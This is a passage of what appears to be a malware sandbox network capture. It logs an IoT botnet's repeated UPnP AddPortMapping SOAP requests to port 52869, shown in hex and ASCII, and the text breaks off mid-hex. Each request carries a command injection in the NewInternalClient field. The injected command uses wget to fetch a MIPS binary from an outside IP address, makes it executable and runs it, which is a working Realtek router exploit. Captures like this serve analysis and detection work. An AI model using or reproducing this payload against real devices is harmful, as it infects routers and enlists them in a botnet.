                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:29:09.175013065 CET959OUTPOST /wanipcn.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:29:25.302647114 CET959OUTPOST /wanipcn.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>


                                                      Session IDSource IPSource PortDestination IPDestination Port
                                                      165192.168.2.154838645.120.78.11652869
                                                      TimestampBytes transferredDirectionData
                                                      Mar 13, 2024 16:28:53.427047968 CET959OUTPOST /wanipcn.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:28:54.935458899 CET959OUTPOST /wanipcn.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:28:56.695328951 CET959OUTPOST /wanipcn.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:29:00.215316057 CET959OUTPOST /wanipcn.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:29:07.383057117 CET959OUTPOST /wanipcn.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 